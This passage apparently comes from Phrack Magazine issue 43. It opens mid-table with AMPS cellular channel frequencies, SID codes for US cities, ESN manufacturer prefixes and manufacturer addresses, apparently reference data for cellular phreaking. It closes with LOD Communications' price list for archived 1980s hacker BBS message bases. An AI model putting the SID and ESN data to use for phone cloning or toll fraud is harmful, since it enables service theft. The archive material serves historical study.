Channel 6 (450) Tx 883.500 Rx 838.500
Channel 7 (471) Tx 884.130 Rx 839.130
Channel 8 (492) Tx 884.760 Rx 839.760
Channel 9 (513) Tx 885.390 Rx 840.390
Channel 10 (534) Tx 886.020 Rx 841.020
Channel 11 (555) Tx 886.650 Rx 841.650
Channel 12 (576) Tx 887.280 Rx 842.280
Channel 13 (597) Tx 887.910 Rx 842.910
Channel 14 (618) Tx 888.540 Rx 843.540
Channel 15 (639) Tx 889.170 Rx 844.170
Channel 16 (660) Tx 889.800 Rx 844.800
Cell # 13
--------------------------------------------------
Channel 1 (346) Tx 880.380 Rx 835.380
Channel 2 (367) Tx 881.010 Rx 836.010
Channel 3 (388) Tx 881.640 Rx 836.640
Channel 4 (409) Tx 882.270 Rx 837.270
Channel 5 (430) Tx 882.900 Rx 837.900
Channel 6 (451) Tx 883.530 Rx 838.530
Channel 7 (472) Tx 884.160 Rx 839.160
Channel 8 (493) Tx 884.790 Rx 839.790
Channel 9 (514) Tx 885.420 Rx 840.420
Channel 10 (535) Tx 886.050 Rx 841.050
Channel 11 (556) Tx 886.680 Rx 841.680
Channel 12 (577) Tx 887.310 Rx 842.310
Channel 13 (598) Tx 887.940 Rx 842.940
Channel 14 (619) Tx 888.570 Rx 843.570
Channel 15 (640) Tx 889.200 Rx 844.200
Channel 16 (661) Tx 889.830 Rx 844.830
Cell # 14
--------------------------------------------------
Channel 1 (347) Tx 880.410 Rx 835.410
Channel 2 (368) Tx 881.040 Rx 836.040
Channel 3 (389) Tx 881.670 Rx 836.670
Channel 4 (410) Tx 882.300 Rx 837.300
Channel 5 (431) Tx 882.930 Rx 837.930
Channel 6 (452) Tx 883.560 Rx 838.560
Channel 7 (473) Tx 884.190 Rx 839.190
Channel 8 (494) Tx 884.820 Rx 839.820
Channel 9 (515) Tx 885.450 Rx 840.450
Channel 10 (536) Tx 886.080 Rx 841.080
Channel 11 (557) Tx 886.710 Rx 841.710
Channel 12 (578) Tx 887.340 Rx 842.340
Channel 13 (599) Tx 887.970 Rx 842.970
Channel 14 (620) Tx 888.600 Rx 843.600
Channel 15 (641) Tx 889.230 Rx 844.230
Channel 16 (662) Tx 889.860 Rx 844.860
Cell # 15
--------------------------------------------------
Channel 1 (348) Tx 880.440 Rx 835.440
Channel 2 (369) Tx 881.070 Rx 836.070
Channel 3 (390) Tx 881.700 Rx 836.700
Channel 4 (411) Tx 882.330 Rx 837.330
Channel 5 (432) Tx 882.960 Rx 837.960
Channel 6 (453) Tx 883.590 Rx 838.590
Channel 7 (474) Tx 884.220 Rx 839.220
Channel 8 (495) Tx 884.850 Rx 839.850
Channel 9 (516) Tx 885.480 Rx 840.480
Channel 10 (537) Tx 886.110 Rx 841.110
Channel 11 (558) Tx 886.740 Rx 841.740
Channel 12 (579) Tx 887.370 Rx 842.370
Channel 13 (600) Tx 888.000 Rx 843.000
Channel 14 (621) Tx 888.630 Rx 843.630
Channel 15 (642) Tx 889.260 Rx 844.260
Channel 16 (663) Tx 889.890 Rx 844.890
Cell # 16
--------------------------------------------------
Channel 1 (349) Tx 880.470 Rx 835.470
Channel 2 (370) Tx 881.100 Rx 836.100
Channel 3 (391) Tx 881.730 Rx 836.730
Channel 4 (412) Tx 882.360 Rx 837.360
Channel 5 (433) Tx 882.990 Rx 837.990
Channel 6 (454) Tx 883.620 Rx 838.620
Channel 7 (475) Tx 884.250 Rx 839.250
Channel 8 (496) Tx 884.880 Rx 839.880
Channel 9 (517) Tx 885.510 Rx 840.510
Channel 10 (538) Tx 886.140 Rx 841.140
Channel 11 (559) Tx 886.770 Rx 841.770
Channel 12 (580) Tx 887.400 Rx 842.400
Channel 13 (601) Tx 888.030 Rx 843.030
Channel 14 (622) Tx 888.660 Rx 843.660
Channel 15 (643) Tx 889.290 Rx 844.290
Channel 16 (664) Tx 889.920 Rx 844.920
Cell # 17
--------------------------------------------------
Channel 1 (350) Tx 880.500 Rx 835.500
Channel 2 (371) Tx 881.130 Rx 836.130
Channel 3 (392) Tx 881.760 Rx 836.760
Channel 4 (413) Tx 882.390 Rx 837.390
Channel 5 (434) Tx 883.020 Rx 838.020
Channel 6 (455) Tx 883.650 Rx 838.650
Channel 7 (476) Tx 884.280 Rx 839.280
Channel 8 (497) Tx 884.910 Rx 839.910
Channel 9 (518) Tx 885.540 Rx 840.540
Channel 10 (539) Tx 886.170 Rx 841.170
Channel 11 (560) Tx 886.800 Rx 841.800
Channel 12 (581) Tx 887.430 Rx 842.430
Channel 13 (602) Tx 888.060 Rx 843.060
Channel 14 (623) Tx 888.690 Rx 843.690
Channel 15 (644) Tx 889.320 Rx 844.320
Channel 16 (665) Tx 889.950 Rx 844.950
Cell # 18
--------------------------------------------------
Channel 1 (351) Tx 880.530 Rx 835.530
Channel 2 (372) Tx 881.160 Rx 836.160
Channel 3 (393) Tx 881.790 Rx 836.790
Channel 4 (414) Tx 882.420 Rx 837.420
Channel 5 (435) Tx 883.050 Rx 838.050
Channel 6 (456) Tx 883.680 Rx 838.680
Channel 7 (477) Tx 884.310 Rx 839.310
Channel 8 (498) Tx 884.940 Rx 839.940
Channel 9 (519) Tx 885.570 Rx 840.570
Channel 10 (540) Tx 886.200 Rx 841.200
Channel 11 (561) Tx 886.830 Rx 841.830
Channel 12 (582) Tx 887.460 Rx 842.460
Channel 13 (603) Tx 888.090 Rx 843.090
Channel 14 (624) Tx 888.720 Rx 843.720
Channel 15 (645) Tx 889.350 Rx 844.350
Channel 16 (666) Tx 889.980 Rx 844.980
Cell # 19
--------------------------------------------------
Channel 1 (352) Tx 880.560 Rx 835.560
Channel 2 (373) Tx 881.190 Rx 836.190
Channel 3 (394) Tx 881.820 Rx 836.820
Channel 4 (415) Tx 882.450 Rx 837.450
Channel 5 (436) Tx 883.080 Rx 838.080
Channel 6 (457) Tx 883.710 Rx 838.710
Channel 7 (478) Tx 884.340 Rx 839.340
Channel 8 (499) Tx 884.970 Rx 839.970
Channel 9 (520) Tx 885.600 Rx 840.600
Channel 10 (541) Tx 886.230 Rx 841.230
Channel 11 (562) Tx 886.860 Rx 841.860
Channel 12 (583) Tx 887.490 Rx 842.490
Channel 13 (604) Tx 888.120 Rx 843.120
Channel 14 (625) Tx 888.750 Rx 843.750
Channel 15 (646) Tx 889.380 Rx 844.380
Cell # 20
--------------------------------------------------
Channel 1 (353) Tx 880.590 Rx 835.590
Channel 2 (374) Tx 881.220 Rx 836.220
Channel 3 (395) Tx 881.850 Rx 836.850
Channel 4 (416) Tx 882.480 Rx 837.480
Channel 5 (437) Tx 883.110 Rx 838.110
Channel 6 (458) Tx 883.740 Rx 838.740
Channel 7 (479) Tx 884.370 Rx 839.370
Channel 8 (500) Tx 885.000 Rx 840.000
Channel 9 (521) Tx 885.630 Rx 840.630
Channel 10 (542) Tx 886.260 Rx 841.260
Channel 11 (563) Tx 886.890 Rx 841.890
Channel 12 (584) Tx 887.520 Rx 842.520
Channel 13 (605) Tx 888.150 Rx 843.150
Channel 14 (626) Tx 888.780 Rx 843.780
Channel 15 (647) Tx 889.410 Rx 844.410
Cell # 21
--------------------------------------------------
Channel 1 (354) Tx 880.620 Rx 835.620
Channel 2 (375) Tx 881.250 Rx 836.250
Channel 3 (396) Tx 881.880 Rx 836.880
Channel 4 (417) Tx 882.510 Rx 837.510
Channel 5 (438) Tx 883.140 Rx 838.140
Channel 6 (459) Tx 883.770 Rx 838.770
Channel 7 (480) Tx 884.400 Rx 839.400
Channel 8 (501) Tx 885.030 Rx 840.030
Channel 9 (522) Tx 885.660 Rx 840.660
Channel 10 (543) Tx 886.290 Rx 841.290
Channel 11 (564) Tx 886.920 Rx 841.920
Channel 12 (585) Tx 887.550 Rx 842.550
Channel 13 (606) Tx 888.180 Rx 843.180
Channel 14 (627) Tx 888.810 Rx 843.810
Channel 15 (648) Tx 889.440 Rx 844.440
SIDH CODES
CITY NON
WIRELINE WIRELINE
Abaline, TX 131 422
Aiken, GA 181 084
Akron, OH 073 054
Albany, GA 241 204
Albany, NY 063 078
Alburqueque, NM 079 110
Alexandria, VA 243 212
Allentown, PA 103 008
Alton, IL 017 046
Altoona, PA 247 032
Amarillo, TX 249 422
Anchorage, AK 251 234
Anderson, SC 139 116
Anniston, AL 255 098
Appleton, WI 217 240
Asheville, NC 263 246
Ashland, WV 307 xxx
Athens, AL 203 198
Athens, GA 041 034
Atlanta, GA 041 034
Atlantic City, NJ 267 250
Augusta, GA 181 084
Aurora, IL 001 020
Austin, TX 107 164
Bakersfield, CA 183 228
Baltimore, MD 013 018
Bangor, ME 271 254
Baton Rouge, LA 085 106
Battle Creek, MI 403 256
Beaumont, TX 185 012
Bellingham, WA 047 006
Beloit, WI 217 210
Benton Harbor, MI 277 260
Biddeford, ME 501 484
Billings, MT 279 262
Biloxi, MS 281 264
Binghampton, NY 283 266
Birmingham, AL 113 098
Bishop, CA 1063 xxx
Bismark, ND 285 268
Bloomington, IL 455 532
Boise, ID 289 272
Boston, MA 007 028
Bradenton, FL 175 042
Bremerton, WA 047 006
Bridgeport, CT 119 088
Bristol, TN 149 042
Brownsville, TX 451 434
Bryan, TX 297 280
Buffalo, NY 003 056
Burlington, NC 069 144
Burlington, VT 313 300
Canton, OH 073 054
Casper, WY 301 284
Cedar Falls, IA 589 568
Cedar Rapids, IA 303 286
Champaign, IL 305 532
Charleston, WV 307 290
Charleston, SC 127 156
Charlotte, NC 139 114
Charlottesville, VA 309 292
Chattanooga, TN 161 148
Chicago, IL 001 020
Cincinatti, OH 051 014
Clarksville, TN 179 296
Cleveland, OH 015 054
College Station, TX 297 280
Colorado Springs, CO 045 180
Columbia, SC 189 182
Columbus, GA 319 302
Columbus, OH 133 138
Corpus Christi, TX 191 184
Council BLuffs, IA 137 152
Cumberland, MD 321 304
Dallas, TX 033 038
Danville, VA 323 306
Davenport, IA 193 186
Dayton, OH 163 134
Daytona Beach, FL 325 308
Decatur, IL 327 532
Dennison, TX 033 038
Denver, CO 045 058
Des Moines, IA 195 150
Detroit, MI 021 010
Dotham, AL 329 312
Dubuque, IA 331 314
Duluth, MN 333 316
Durham, NC 069 144
Eau Claire, WI 335 318
Elgin, IL 001 020
El Paso, TX 097 092
Elkhart, IN 549 530
Elmira, NY 283 266
Enid, OK 341 324
Erie, PA 343 326
Eugene, OR 061 328
Evansville, IN 197 190
Fairbanks, AK --- 1018
Fargo, ND 347 330
Fayettesville, NC 349 100
Fayettesville, AR 607 342
Flint, MI 021 010
Florence, AL 351 334
Florence, SC 377 350
Fort Collins, CO 045 336
Fort Lauderdale, FL 037 024
Fort Myers, FL 355 042
Fort Pierce, FL 037 340
Fort Smith, AR 359 342
Fort Walton Beach, FL 361 344
Fort Wayne, IN 199 080
Fort Worth, TX 033 038
Fresno, CA 153 162
Gainesville, FL 365 348
Gadsden, AL 363 098
Galveston, TX 367 012
Glens Falls, NY 063 078
Grand Forks, ND 371 356
Grand Rapids, MI 021 244
Granite City, IL 017 046
Great Falls, MT 373 358
Greeley, CO 045 360
Green Bay, WI 217 362
Greensboro, NC 095 142
Greenville, SC 139 116
Gulf of Mexico, LA 171 194
Gulfport, MS --- 264
Gunterville, AL 203 198
Hagerstown, MD 381 364
Hamilton, OH 383 366
Harlingen, TX 451 434
Harrisburg, PA 159 096
Hartford, CT 119 088
Hickory, NC 385 368
Hilo, HI 1161 060
Holbrook, AZ 1027 ---
Honolulu, HI 167 060
Houma, LA 387 370
Houston, TX 035 012
Huntington, WV 307 196
Huntsville, AL 203 198
Indianapolis, IN 019 080
Iowa City, IA 389 286
Jackson, MI 391 374
Jackson, MS 205 160
Jacksonville, FL 075 136
Jacksonville, NC 393 376
Janesville, WI 217 210
Jerseyville, IL 245 586
Johnson City, TN 149 074
Johnstown, PA 039 032
Joliet, IL 001 020
Joplin, MO 401 384
Juneau, AK --- 1022
Kalamazoo, MI 403 386
Kankakee, IL 001 020
Kansas City, MO 059 052
Kennewick, WA --- 500
Killeen, TX 409 392
Kingsport, TN 149 074
Knoxville, TN 093 104
Kokomo, IN 411 080
LaCross, WI 413 396
Lafayette, IN 415 080
Lafayette, LA 431 414
Lake Charkes, LA 417 400
Lakeland, FL 175 042
Lancaster, PA 159 096
Lansing, MI 021 188
Laredo, TX 419 402
Las Cruces, NM 097 404
Las Vegas, NV 211 064
Lawrence, KS 059 406
Lawton, OK 425 408
Lewiston, ME 427 482
Lexington, KY 213 206
Lihue, HI 1157 060
Lincoln, NE 433 416
Little Rock, AR 215 208
Longview, TX 229 418
Lorain, OH 437 054
Los Angeles, CA 027 002
Louisville, KY 065 076
Lubbock, TX 439 422
Lynchburg, VA 441 424
Macon, GA 443 426
Madison, WI 217 210
Manchester, NH 445 428
Mansfield, OH 447 430
Marshall, TX 229 418
McAllen, TX 451 434
Medford, OR 061 436
Melbourne, FL 175 068
Memphis, TN 143 062
Miami, FL 037 024
Midland, TX 459 422
Millville, NH --- 250
Milwaukee, WI 005 044
Minneapolis, MN 023 026
Mobile, AL 081 120
Modesto, CA 233 224
Moline, IL 193 186
Monroe, LA 463 440
Monterey, CA 527 126
Montgomery, AL 465 444
Moorehead, ND --- 330
Muncie, IN 467 080
Muskegon, MI 021 448
Nashua, NH 445 428
Nashville, TN 179 118
New Bedford, MA 119 028
New Brunswick, NY 173 022
New Haven, CT 119 088
New Orleans, LA 057 036
Newport News, VA 083 168
New York, NY 025 022
Norfolk, VA 083 168
Ocala, FL 473 348
Odessa, TX 475 422
Oklahoma City, OK 169 146
Olympia, WA 047 006
Omaha, NE 137 152
Orange County, NY 479 486
Orlando, FL 175 068
Ottawa, IL 1177 1178
Oxnard, CA 027 002
Panama City, FL 483 462
Parkersburg, WV 485 032
Pascagoula, MS 487 264
Pasco, WA --- 500
Pensacola, FL 361 120
Peoria, IL 221 214
Petaluma, CA 031 040
Petersburg, VA 071 472
Philadelphia, PA 029 008
Phoenix, AZ 053 048
Pine Bluff, AR 493 208
Pittsburg, PA 039 032
Pittsfield, MA 119 480
Placerville, CA --- 1080
Ponce, PR 497 082
Portland, ME 499 482
Portland, OR 061 030
Portsmouth, NH 501 484
Poughkeepsie, NY 503 486
Providence, RI 119 028
Provo, UT 091 488
Pueblo, CO 045 490
Raleigh, NC 069 144
Rapid City, SD 511 494
Reading, PA 103 008
Redding, CA 513 294
Reno, NV 515 498
Richland, WA 517 500
Richmond, VA 071 170
Roanoke, VA 519 502
Rochester, NH 501 484
Rochester, MN 521 504
Rochester, NY 117 154
Rockford, IL 217 506
Sacramento, CA 129 112
Saginaw, MI 021 389
Salem, OR 061 030
Salinas, CA 527 040
Salt Lake City, UT 091 094
San Angelo, TX 529 510
San Antonio, TX 151 122
San Deigo, CA 043 004
San Francisco, CA 031 040
San Jose, CA 031 040
San Juan, PR 227 218
Santa Barbara, CA 531 040
Santa Cruz, CA 031 126
Santa Rosa, CA 031 040
Sarasota, FL 175 142
Savanna, GA 539 520
Schenectady, NY 063 078
Scranton, PA 103 172
Seattle, WA 047 006
Sharon, PA 089 126
Sheboygan, WI 543 044
Shreveport, LA 229 220
Sioux City, IA 547 528
Sioux Falls, SD 555 540
South Bend, IA 549 530
Spartanburg, SC 139 116
Spokane, WA 231 222
Springfield, IL 551 532
Springfield, MO 559 546
Springfield, OH 573 134
Springfield, MA 119 188
St. Cloud, MN 553 534
St. Joseph, MO 059 536
St. Louis, MO 017 046
St. Petersberg, FL 175 042
State College, PA 159 032
Stuebenville, OH 039 032
Stockton, CA 233 224
Stroudsburg, PA 103 172
Syracuse, NY 077 086
Tacoma, WA 047 006
Tallahassee, FL 565 544
Tampa, FL 175 042
Temple, TX 409 392
Terre Haute, IN 567 080
Texarkana, TX 229 550
Toledo, OH 021 130
Topeka, KS 059 552
Trenton, PA 029 008
Tucson, AZ 053 140
Tulsa, OK 111 166
Tuscaloosa, AL 577 098
Ukiah, CA 1075 ---
Utica, NY 235 226
Vallejo, CA 031 040
Victoria, TX 581 562
Vineland, NJ 583 250
Visalia, CA 153 162
Waco, TX 587 566
Warren, OH 089 126
Washington, DC 013 018
Waterloo, IA 589 568
Wausau, WI 591 570
West Palm Beach, FL 037 024
Wheeling, WV 039 032
Wichita Falls, TX 595 574
Wichita, KS 165 070
Wilkes Barr, PA 103 172
Williamsport, PA 103 576
Wilmington, DE 123 008
Wilmington, NC 599 578
Winston-Salem, NC 095 142
Worcester, MA 007 028
Yakima, WA 601 580
York, PA 159 096
Youngstown, OH 089 126
Yuba City, CA 129 112
ESN PREFIXES BY MANUFACTURER
Manufacturer Decimal Hex
Alpine Electronics 150 96
AT&T 158 9E
Audiovox-Audiotel 138 8A
Blaupunkt 148 94
Clarion Company 140 8C
Clarion Manufacturing Co. 166 A6
CM Communications 153 99
Di-Bar Electronics 145 91
E.F. Johnson 131 83
Emptel Electronics 178 B2
Ericsson 143 8F
Ericsson GE Mobile 157 9D
Fujitsu 133 85
Gateway Telephone 147 93
General Electric 146 92
Goldstar Products 141 8D
Harris 137 89
Hitachi 132 84
Hughes Network Systems 164 A4
Hyundai 160 A0
Japan Radio Co., Ltd. 152 98
Kokusai 139 8B
Mansoor Electronics 167 A7
Mobira 156 9C
Motorola 130 82
Motorola International 168 A8
Mitsubishi 134 86
Murata Machinery 144 90
NEC 135 87
Nokia 165 A5
Novatel 142 8E
OKI 129 81
Panasonic (Matsushita) 136 88
Philips Circuit Assemblies 171 AB
Philips Telecom 170 AA
Qualcomm 159 9F
Samsung Corp. 176 B0
Sanyo 175 AF
Satellite Technology Services 161 A1
Shintom West 174 AE
Sony Corp. 154 9A
Tama Denki Co. 155 9B
Tecnhophone 162 A2
Uniden Corp. of America 172 AC
Uniden Corp. of Japan 173 AD
Universal Cellular 149 95
Yupiteru Industries 163 A3
Manufacturers' Addresses
Alpine Electronics of America
191456 Gramercy Place
Torrance, CA 90501
310-326-8000
Antel Corporation
400 Oser Avenus
Hauppauge, NY 11788
516-273-6800
AT&T Consumer Products
5 Woodhollow Drive
Parsippany, NJ 07054
201-581-3000
Audiovox Corp.
150 marcus Blvd.
Hauppauge, NY 11788
516-231-7750
Blaupunkt
Robert Bosch Corp.
2800 S. 25th Avenue
Broadview, IL 60153
708-865-5200
Clarion Corp. of America
661 W. Redondo Beach Blvd.
Gardena, CA 90247
310-327-9100
DiamondTel
Mitsubishi Electronics of America
800 Biermann Court
Mt. Prospect, IL 60056
708-298-9223
Ericsson
P.O. Box 4248
Lynchburg, VA 24502
800-CAR-FONE
Fujitsu America, Inc.
2801 Telecom Parkway
Richardson, TX 75082
214-690-9660
GE Mobile Communications
P.O. Box 4248
Lyunchburg, VA 24502
800-CAR-FONE
GoldStar
1850 W. Drake Drive
Tempe, AZ 85283
602-752-2200
Hughes Network Systems
11717 Exploration Lane
Germantown, MD 20876
301-428-5500
Kenwood USA Corp.
2201 E. Dominguez Street
Long Beach, CA 90810
310-639-9000
Mitsubishi International
1500 Michael Drive, Suite B
Wood Dale, IL 60191
708-860-4200
Motorola, Inc.
1475 W. Shure Drive
Arlington Heights, IL 60004
708-632-5000
800-331-6456
Muratec
5560 Tennyson Parkway
Plano, TX 75024
214-403-3300
NEC America, Inc.
Mobile Radio Division
383 Omni Drive
Richardson, TX 75080
214-907-4000
Nokia Mobile Phones
2300 Tall Pines Drive, Suite 120
Largo, FL 34641
813-536-5553
NovAtel
P.O. Box 1233
Fort Worth, TX 76101
817-847-2100
OKI Telecom
437 Old Peachtree Road
Suwanee, GA 30174
404-995-9800
Omni Cellular
96 S. Madison Street
Carthage, IL 62321
217-357-2308
Panasonic Communications
Two Panasonic Way
Secaucus, NJ 07094
201-348-7000
Panasonic Company
One Panasonic Way
Secaucus, NJ 07096
201-348-9090
Pioneer Electronics
2265 E. 220th Street
Long Beach, CA 90810
310-835-6177
Sanyo
21350 Lassen Street
Chatsworth, CA 91311
800-421-5013
818-998-7200
Shintom West
20435 South Western Avenue
Torrance, CA 90501
310-328-7200
Sony Corp. of America
Sony Drive
Park Ridge, NJ 07656
201-930-1000
Tandy Corp.
700 One Tandy Center
Fort Worth, TX 76102
817-390-3300
Technophone Corp.
1801 Penn Street, Suite 3
Melbourne, FL 32901
407-952-2100
Uniden America Corp.
4700 Amon Carter Blvd.
Fort Worth, TX 71655
817-858-3300
--------------------------------------------------------------------------------
==Phrack Magazine==
Volume Four, Issue Forty-Three, File 18 of 27
The LOD Communications Underground H/P BBS Message Base Project:
Price Listing of Currently Available Message Bases and Order Form.
Holdings List Version #1, 5/15/93
This file contains:
- Background information on the project;
- Currently completed message bases with prices; and,
- Order form and stipulations.
If you have already seen some of the background information contained in the
following paragraphs, note that additional information has been added. The aim
was to make this file as self-contained as possible. It is approximately seven
pages in length (23K) and it should answer all of your questions.
The Project:
------------
Throughout history, physical objects have been preserved for posterity for
the benefit of the next generation of humans. Cyberspace, however, isn't very
physical; data contained on floppy diskettes has a finite lifetime as does the
technology to retrieve that data. The earliest underground hacker bulletin
board systems operated at a time when TRS-80s, Commodore 64s, and Apple ][s
were state-of-the-art. Today, it is difficult to find anyone who has one of
these machines in operating condition, not to mention the brain cells left to
recall how to operate them. :-(
LOD Communications has created a historical library of the "dark" portion of
Cyberspace. The project's goal is to acquire as much information as possible
from underground Hack/Phreak (H/P) bulletin boards that were in operation
during a decade long period, dating from the beginnings (in 1980/81 with 8BBS
and MOM: Modem Over Manhattan) to the legendary OSUNY, Plover-NET, Legion of
Doom!, Metal Shop, etc. up through the Phoenix Project circa 1989/90.
Currently, messages from over 50 different BBSes have been retrieved, although
very few message bases are 100% complete. However, not having a complete "set"
does not diminish their value.
Who Benefits From This Information?:
------------------------------------
- PARTICIPANTS who were on the various H/P BBSes may want to see their
contribution to history or reminisce about the "golden era" of hacking;
- ENTHUSIASTS who came into the "scene" after most of these boards were
down may want to see what they missed;
- COMPANIES who may want to see if their (or their competitors') phone
systems, computers, or networks were compromised;
- SECURITY PROFESSIONALS/LAW ENFORCEMENT who may want to see what
techniques were used to subvert computer security systems;
- SCHOOLS AND UNIVERSITIES (including their libraries) who may want to use
the information for research in sociology or computer science as well as
for educational purposes in courses such as Computer Law, Computer
Ethics, and Computer Security;
- AUTHORS/PRESS who may want to finally get the facts straight about
"hackers;" and,
- THE CURIOUS PUBLIC who may want to sneak a peek into the inner realm of
the Computer Underground, especially those Restricted Access BBSes and
their Private sub-boards where only a small handful of "the best"
resided.
Were the individuals involved in the Computer Underground out to start World
War III, selling secrets to the Soviets, working with organized crime,
conspiring to do evil, or just a bunch of bored teenagers with nothing better
to do? How much did they know, and how did they find it out? Did they have
the capability to shut down phone service of Area Code portions? Could
they ruin someone's credit? Could they "move satellites in the heavens?"
Could they monitor packet switching network conversations or YOUR
conversations? The answers lie within the messages themselves.
Why is LODCOM Charging Money For The Message Bases?:
----------------------------------------------------
As happens with most projects, the effort and monetary investment turned out
to be substantially more than originally anticipated. With all of the high-
tech equipment available today, people sometimes forget that in the early
1980s, 14.4K baud modems and 250 MB hard drives were just a fantasy for the
home computer user. Most messages Lodcom has recovered were downloaded at 300
baud onto 143K disk drives, with each file usually no larger than 15K in size.
One could not call a BBS and download the complete message base in 10 minutes
and save it into one file. Literally hundreds of man-hours have been spent
copying dusty Apple ][ disks, transferring them to IBM (or typing in hard copy
versions when electronic versions were unavailable), organizing over one
thousand individual files (thus far) according to what BBS the messages were
originally posted on, and splicing the files together. Also, after consulting
with the appropriate civil liberties organizations and our own legal counsel,
a slight editing of the messages (restricted to long distance access codes,
phone numbers, and computer passwords) had to be made to ensure that there is
nothing illegal contained within the messages. Every effort was made to keep
the messages in their pristine condition: 40 columns, ALL CAPS, spelling
errors, offensive language, inaccuracies of various kinds, and ALL.
Although a fairly comprehensive collection of the goings-on during a decade
of public and private computer underground activity has been accomplished,
there are more messages out there. It is our wish to continue to document the
History of the Computer Underground. In order to do this, and in order to
break even on what resources have already been expended (it is a LOT more than
most people realize), a dollar value has been attached to each set of message
bases. The dollar values were kept as low as possible and range from $1.00 to
$8.00 for each H/P BBS Message Base Set. Without your understanding and
support, this effort may not be able to sustain itself long enough to complete
the project. A large portion of any profits will be recycled for two other
projects in the works, whose aim is to provide additional historical background
on the Computer Underground Community. That is, no one involved is quitting
their day job :-)
One additional note: For those who purchase the Metal Shop Private Message
Base, 100% of the price ($4.00) will be donated to help pay for Craig Neidorf's
(Knight Lightning) Legal Defense bills (due to his successful campaign to
protect First Amendment rights for electronic publishing, i.e. the PHRACK/E911
case).
How The Prices Were Determined:
-------------------------------
Prices were determined based on the following considerations:
- The number of years ago that the BBS operated (affected availability);
- The total number of messages compiled (required more time to compile);
- Its popularity and message content (anticipated demand);
- Whether the BBS or portions thereof were deemed "elite" and, therefore,
restricted access to a small number of users (affected availability);
and,
- An additional factor to account for overhead costs such as diskettes,
diskette mailing containers, postage, time to fill orders, etc.
What Each "Message Base File" Contains:
---------------------------------------
- A two page general message explaining H/P BBS terminology and format.
- The BBS Pro-Phile: A historical background and description of the BBS
either written by the original system operator(s) or those who actually
called the BBS when it was in operation (it took months to track the
appropriate people down and get them to write these specifically for
this project; lesser known BBSes may not contain a Pro-Phile);
- Messages posted to the BBS (i.e. the Message Base);
- Downloaded Userlists if available; and
- Hacking tutorials a.k.a. "G-Philes" that were on-line if available.
It is anticipated that most people who are interested in the message bases
have never heard of a lot of the BBS names shown in the listing. If you have
seen one set of messages, you have NOT seen them ALL. Each system had a unique
personality, set of users, and each has something different to offer. If you
decide to order the minimum, we recommend that you mix a high-priced base
($7.00 or above) with a couple of medium-priced bases ($4.00 to $6.00) and a
few lower-priced bases ($1.00 to $3.00). This will provide you with a feel for
what was happening over a broad range of years and message quality. Of course,
nothing beats the full set (offered at a discount, see order form).
Formats the Message Base Files are Available in:
------------------------------------------------
Due to the large size of the Message Base Files, they will be compressed
using the format of your choice. Please note that Lodcom does NOT include the
compression/decompression program (PKZIP, PAK, etc.). ASCII (decompressed)
files will be provided for $2.00 extra to cover additional diskette and
shipping costs. The files are available for:
- IBM (5.25 or 3.5 inch)
- AMIGA (3.5 inch)
- APPLE MACINTOSH (3.5 inch)
- PAPER versions can be ordered but cost triple (due to increased shipping
costs, time to print order, and messages being in 40 column format and
therefore wasting lots of paper...save those trees!). Paper versions
take twice the time to deliver but are laser printed.
Orders are expected to arrive at the requesters' physical mail box in 2-4
weeks upon receipt of the order.
FAQs (Frequently Asked Questions):
----------------------------------
QUESTION: How long will these Message Base Files be available?
ANSWER: We cannot say for sure. This is an ongoing effort and your support
will allow us to continue until we are satisfied with having
recovered the last decent scraps of messages out there. Assuming
there is a demand for these messages, all H/P BBSes of WORTH (i.e.
NON-"codez" and NON-"warez" systems) are expected to be offered by
the end of the Summer of 1993. A Guesstimate of what will be
offered is 80 to 100 Message Bases, half of which will be rather
partial. Orders are expected to be filled up until the end of 1993
although this may change. Regardless, we will send out
notification well in advance of ceasing operations.
QUESTION: "Can I help out? I have some old messages" (either on a C64,
Apple, IBM [best for us], or printout).
ANSWER: Contact us ASAP! We will work out an equitable agreement depending
on the quantity, quality, format, and "ancientness" of the
messages. Your contribution will not go unrecognized.
QUESTION: Say if I purchase BBS "X" which has 100 messages and the next
Version of your Price Listing shows BBS "X" now has 200 messages,
do I have to pay the for the first 100 all over again if I want
the other 100 messages?
ANSWER: No. If a small number of additional messages are added, they will
be sent for the price of a diskette and postage only, i.e. the
information will be free. If a larger number such as 100 new
messages are added, then if you previously purchased the message
base, the additional messages will be discounted. Those who pay
the Commercial Rate (corporations, government, etc.) will receive
updates of the purchased Volume for FREE regardless of how many new
messages there are, and LODCOM also pays for the postage and
diskette(s).
QUESTION: What if I purchase the minimum order now and, when the next
Version of the price list is released, I want to get more Message
Bases? Do I have to still pay the $20.00 minimum?
ANSWER: No. If you are a previous customer, the minimum is cut in half,
that is, $10.00. Commercial customers who bought Volume #1 (the
current "Complete Set"), are obviously not obligated to purchase
the added Message Bases (the next Volume).
QUESTION: I would really like to get a feel for what one or two of the
boards were like before I order them. Can I get more info?
ANSWER: Yes. A Sample of Actual Messages is available by performing the
following, so long as you have TELNET access to the Internet:
Telnet to: 198.67.3.2 [IP Address for PHANTOM.COM]
Type: mindvox [To enter the Mindvox system]
login as: guest [To look around]
At prompt: finger lodcom [To see our Sample Messages File]
If you do not have TELNET access to the Internet, AND your host will NOT
"bounce" a 50K file, Lodcom will send you the Sample Messages File if you
specifically request it.
The Price List:
---------------
LOD Communications (c) 1993: Price List of Hack/Phreak BBS Message Bases
----------------------------------------------------------------------------
BBS NAME A/C SYSOP(S) # MSGS DATES KBYTES PRICE
----------------------------------------------------------------------------
Alliance BBS 618 Phantom Phreaker 113 2/09/86 - 215 $ 3.00 B
Doom Prophet G,P 6/30/86
Black Ice Private 703 The Highwayman 880 12/1/88 - 580 $ 7.00 B
P,U 5/13/89
Broadway Show/ 718 Broadway Hacker 180 9/29/85 - 99 $ 3.00 B
Radio Station BBS 12/27/85
CIA BBS 201 CIA Director 30 5/02/84 - 30 $ 1.00
6/08/84
C.O.P.S. 305 Mr. Byte-Zap 227 11/5/83 - 196 $ 4.00 B
The Mechanic G,R,U 7/16/84
Face To Face 713 Montressor 572 11/26/90 - 400 $ 2.00 B
Doc Holiday * 12/26/90
Farmers Of Doom 303 Mark Tabas 41 2/20/85 - 124 $ 2.00 B
G 3/01/85
Forgotten Realm 618 Crimson Death 166 3/08/88 - 163 $ 3.00 B
4/24/88
Legion Of Doom! 305 Lex Luthor 194 3/19/84 - 283 $ 6.00 B
Paul Muad'Dib * G,P,U 11/24/84
Metal Shop Private 314 Taran King 520 4/03/86 - 380 $ 4.00 BD
Knight Lightning P,R,U 5/06/87
OSUNY 914 Tom Tone 375 7/9/82 - 368 $ 8.00 B
Milo Phonbil * G,U 4/9/83
Phoenix Project 512 The Mentor 1118 7/13/88 - 590 $ 4.00 B
